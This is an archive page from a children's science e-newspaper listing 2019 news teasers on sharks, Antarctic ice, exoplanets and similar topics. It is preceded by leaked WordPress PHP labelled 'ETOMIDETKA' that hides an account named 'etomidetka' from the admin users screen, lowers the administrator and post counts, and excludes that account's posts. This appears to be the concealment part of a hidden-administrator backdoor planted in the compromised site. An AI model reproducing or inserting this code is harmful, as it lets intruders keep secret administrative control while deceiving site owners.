//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); SCIENCE | YOUNG MINDS | Page 9

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category SCIENCE (Page 9)
Climate change is making sharks ‘right-handed’

Climate change is making sharks ‘right-handed’

Warming oceans are changing the way sharks swim – and making them right handed, researchers have found. Australian scientists incubated eggs in tanks …

April 26, 2019 | SCIENCE
European team to drill for ‘oldest ice’ in Antarctica

European team to drill for ‘oldest ice’ in Antarctica

An ambitious project to retrieve a continuous record of Earth’s atmosphere and climate stretching back 1.5 million years is officially “go”. A European …

April 11, 2019 | SCIENCE
Transparent wood’ that can store, release heat made

Transparent wood’ that can store, release heat made

Sweden-based scientists have developed ‘transparent wood’ material which can transmit light and can also store and release heat. The material, made after …

April 11, 2019 | SCIENCE
NASA creates exoplanet atmosphere on Earth at over 1,100°C

NASA creates exoplanet atmosphere on Earth at over 1,100°C

NASA researchers heated a mixture of hydrogen and carbon monoxide to over 1,100°C in a bid to simulate conditions that might be found in atmospheres of a …

March 22, 2019 | SCIENCE
New map reveals 3,00,000 undiscovered galaxies in Universe

New map reveals 3,00,000 undiscovered galaxies in Universe

A map published by a team of over 200 astronomers, including Indians, has revealed three lakh previously undetected light sources thought to be galaxies. The …

March 1, 2019 | SCIENCE
MINING ASTEROIDS COULD BECOME A POSSIBILITY

MINING ASTEROIDS COULD BECOME A POSSIBILITY

Asteroid miners might be best off working inside-out. A new analysis suggest we could place a space station inside a rotating asteroid to provide simulated …

February 15, 2019 | SCIENCE
New method that turns oily soil into fertile soil developed

New method that turns oily soil into fertile soil developed

Scientists at America’s Rice University have ‘fine-tuned’ a method to restore the fertility of soil that is contaminated by oil spills. Scientists heated …

February 8, 2019 | SCIENCE
What is polar vortex, setting temperatures in US below Antarctica?

What is polar vortex, setting temperatures in US below Antarctica?

The polar vortex is a large area of low pressure and cold air surrounding both of the Earth’s poles. The current of the northern polar vortex has been …

February 8, 2019 | SCIENCE
North magnetic pole shifting 50 km/yr

North magnetic pole shifting 50 km/yr

Earth’s north magnetic pole is shifting by 50 km per year, forcing urgent updates to navigation models for ships and planes in the Arctic, scientists said. …

January 24, 2019 | SCIENCE
Scientists developing new cancer treatment with immune cells

Scientists developing new cancer treatment with immune cells

Scientists at Francis Crick Institute in London are developing a new method to treat cancer using immune cells. Scientists believe patients’ immune systems …

January 4, 2019 | SCIENCE
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds